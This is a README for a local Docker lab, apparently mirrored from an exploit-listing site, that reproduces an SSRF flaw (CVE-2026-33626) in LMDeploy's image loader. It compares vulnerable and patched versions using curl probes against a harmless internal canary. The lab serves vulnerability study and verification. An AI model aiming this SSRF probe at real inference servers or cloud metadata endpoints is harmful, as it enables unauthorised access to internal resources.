Share
## https://sploitus.com/exploit?id=E9062E96-2253-5802-9C31-EFA860F1752B
# CVE-2026-33626 โ€” LMDeploy Vision-Language SSRF Lab

## Overview

This repository reproduces **CVE-2026-33626**, a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language image loading path.

The vulnerable behavior occurs when LMDeploy receives an image URL and the server-side image loader fetches that URL without properly blocking internal, private, loopback, or link-local addresses.

This lab compares:

| Service    |              Version | Purpose                                                       |
| ---------- | -------------------: | ------------------------------------------------------------- |
| `vuln`     |    LMDeploy `0.12.0` | Demonstrates the vulnerable behavior                          |
| `patched`  |    LMDeploy `0.12.3` | Demonstrates the patched behavior                             |
| `internal` | Local canary service | Simulates an internal-only resource inside the Docker network |

The lab is designed to run locally with Docker Compose and does not contact cloud metadata endpoints or external targets.

---

## Vulnerability Summary

LMDeploy supports vision-language workflows where an image may be loaded from a user-supplied URL. In vulnerable versions, the image loading code can fetch URLs that resolve to internal/private network addresses.

This can allow an attacker with access to the LMDeploy endpoint to make the server request internal resources, such as:

* internal HTTP services
* metadata endpoints
* cache/database services
* private admin panels
* other services reachable from the inference server network

In this lab, the internal target is intentionally harmless:

```text
http://internal:9000/private.png
```

The URL only exists inside the Docker Compose network.

---

## Lab Design

```text
PoC script
   |
   | sends image URL
   v
vuln / patched service
   |
   | calls lmdeploy.vl.load_image(url)
   v
internal canary service
```

The lab does not run a full VLM inference server. Instead, it isolates the vulnerable LMDeploy image-loading primitive by calling:

```python
from lmdeploy.vl import load_image
load_image(url)
```

This keeps the reproduction lightweight and deterministic while still demonstrating the security behavior that was patched.

---

## Repository Structure

```text
.
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ internal
โ”‚   โ”œโ”€โ”€ Dockerfile
โ”‚   โ””โ”€โ”€ server.py
โ”œโ”€โ”€ patched
โ”‚   โ””โ”€โ”€ Dockerfile
โ”œโ”€โ”€ poc
โ”‚   โ””โ”€โ”€ poc.py
โ”œโ”€โ”€ vuln
โ”‚   โ””โ”€โ”€ Dockerfile
โ””โ”€โ”€ README.md
```

---

## Services

| Service    |                Host URL | Container Port | Description               |
| ---------- | ----------------------: | -------------: | ------------------------- |
| `vuln`     | `http://127.0.0.1:8081` |         `8000` | LMDeploy `0.12.0` wrapper |
| `patched`  | `http://127.0.0.1:8082` |         `8000` | LMDeploy `0.12.3` wrapper |
| `internal` | `http://127.0.0.1:8090` |         `9000` | Internal canary service   |

Inside the Docker network, the internal canary is reachable as:

```text
http://internal:9000/private.png
```

---

## Requirements

* Docker Desktop
* Docker Compose v2
* Python 3 for running the PoC script

On Apple Silicon, the `vuln` and `patched` services run as `linux/amd64` because the LMDeploy wheel used in this lab is x86_64-oriented.

---

## Run the Lab

Build and start the services:

```bash
docker compose up -d --build
```

Check container status:

```bash
docker compose ps
```

Expected status:

```text
cve-2026-33626-internal   Up
cve-2026-33626-vuln       Up (healthy)
cve-2026-33626-patched    Up (healthy)
```

---

## Verify Versions

```bash
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
```

Expected output:

```json
{
  "lmdeploy_version": "0.12.0",
  "expected_role": "vulnerable"
}
```

```json
{
  "lmdeploy_version": "0.12.3",
  "expected_role": "patched"
}
```

```json
{
  "hits": []
}
```

---

## Run the PoC

Create a virtual environment and install dependencies:

```bash
python3 -m venv .venv
source .venv/bin/activate
pip install requests
```

Run the PoC:

```bash
python poc/poc.py
```

The default SSRF target is:

```text
http://internal:9000/private.png
```

This target is reachable from the Docker containers, not from the public internet.

---

## Expected Result

### Vulnerable Service

The vulnerable service should fetch the internal canary image successfully:

```json
{
  "service": "vulnerable",
  "probe_http_status": 200,
  "probe_response": {
    "ok": true,
    "result": "lmdeploy.vl.load_image() fetched and decoded the URL",
    "lmdeploy_version": "0.12.0"
  },
  "internal_hit_count": 1
}
```

This confirms that LMDeploy `0.12.0` made a server-side request to the internal Docker service.

### Patched Service

The patched service should block the same URL before the internal service is reached:

```json
{
  "service": "patched",
  "probe_http_status": 400,
  "probe_response": {
    "ok": false,
    "error_type": "ValueError",
    "error": "URL is blocked for security reasons: Blocked non-global IP detected",
    "lmdeploy_version": "0.12.3"
  },
  "internal_hit_count": 0
}
```

This confirms that LMDeploy `0.12.3` blocks URLs resolving to non-global/internal IP addresses.

Final expected summary:

```text
[+] Expected result confirmed:
    vulnerable service fetched the internal canary
    patched service blocked before reaching the internal canary
```

---

## Manual Test

Reset the internal canary:

```bash
curl -sS -X POST http://127.0.0.1:8090/reset | jq
```

Test vulnerable service:

```bash
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
```

Expected: `/hits` contains one request.

Test patched service:

```bash
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
```

Expected: `/hits` remains empty.

---

## Why This Demonstrates SSRF

The PoC does not request the internal service directly as the attacker.

Instead, the PoC sends an internal URL to LMDeploy. If LMDeploy fetches that URL from inside the container network, the internal canary records the request.

That behavior proves the SSRF primitive:

```text
attacker-controlled URL
        โ†“
LMDeploy server-side image loader
        โ†“
request to internal network resource
```

The patched version prevents this by rejecting URLs that resolve to non-global IP addresses.

---

## Cleanup

```bash
docker compose down -v
```

---

## References

* GitHub Security Advisory: GHSA-6w67-hwm5-92mq
  [https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq](https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq)

* NVD: CVE-2026-33626
  [https://nvd.nist.gov/vuln/detail/CVE-2026-33626](https://nvd.nist.gov/vuln/detail/CVE-2026-33626)

* Patch Commit: `71d64a339edb901e9005358e0633fbbab367d626`
  [https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626](https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626)

* Pull Request: #4447
  [https://github.com/InternLM/lmdeploy/pull/4447](https://github.com/InternLM/lmdeploy/pull/4447)

* Sysdig Analysis
  [https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours](https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours)